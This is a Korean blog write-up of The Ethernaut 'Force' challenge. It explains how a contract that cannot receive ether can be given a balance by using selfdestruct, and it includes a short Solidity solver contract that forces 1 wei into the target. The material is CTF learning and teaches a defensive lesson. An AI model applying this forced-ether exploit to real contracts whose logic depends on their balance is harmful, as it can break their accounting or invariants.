728x90
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }
컨트랙트 하나가 내용도 없이 선언되어 있다.
문제는 이 컨트랙트에 잔고를 0보다 크게 만들라는 것이다.
해당 컨트랙트에는 fallback함수도 없고 이더를 받는 함수도 없으므로 표면적으로는 불가능해 보인다.
하지만 Solidity에는 selfdestruct라는 얘가 있다.
selfdestruct란 아래 공식문서에 나와있듯이 자신의 contract를 파괴하면서 잔고를 target contract에 강제적으로 옮기는 기능을 한다.
따라서 contract를 하나 만들고 selfdestruct를 사용해서 Force contract에 강제적으로 옮겨줄 것이다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../src/force.sol";
contract ForceSolve {
address public target;
constructor() payable {}
function setUp(address _target) external{
target = _target;
}
function run() public {
new ToBeDestructed{value: 1 wei}(payable (address(target)));
}
// 혹은 ForceSolve contract에서 파괴
// function destroy(address payable _to) public{
// selfdestruct(_to)
// }
}
contract ToBeDestructed {
constructor(address payable _forceAddress) payable {
selfdestruct(_forceAddress);
}
}
요렇게 ToBeDestructed라는 contract를 하나 짜서 파괴시킨 후 강제적으로 1wei를 target 주소에 옮겨주고 있다.
이렇게 하면 Force Contract의 잔고를 1 wei로 만들고 있다.
결과적으로, Solidity에서는 강제적으로 이더를 넘겨줄 수 있으므로 항상 잔고가 0이상이 될 수 있다는 점을 파악하고 있어야 한다.
728x90
반응형
'Web3 > The Ethernaut' 카테고리의 다른 글
[The Ethernaut] King (0) | 2025.01.23 |
---|---|
[The Ethernaut] Vault (0) | 2025.01.23 |
[The Ethernaut] Level 6. Delegation (0) | 2025.01.17 |
[The Ethernaut] Level 5. Token (0) | 2025.01.17 |
[The Ethernaut] Level 4. Telephone (0) | 2025.01.17 |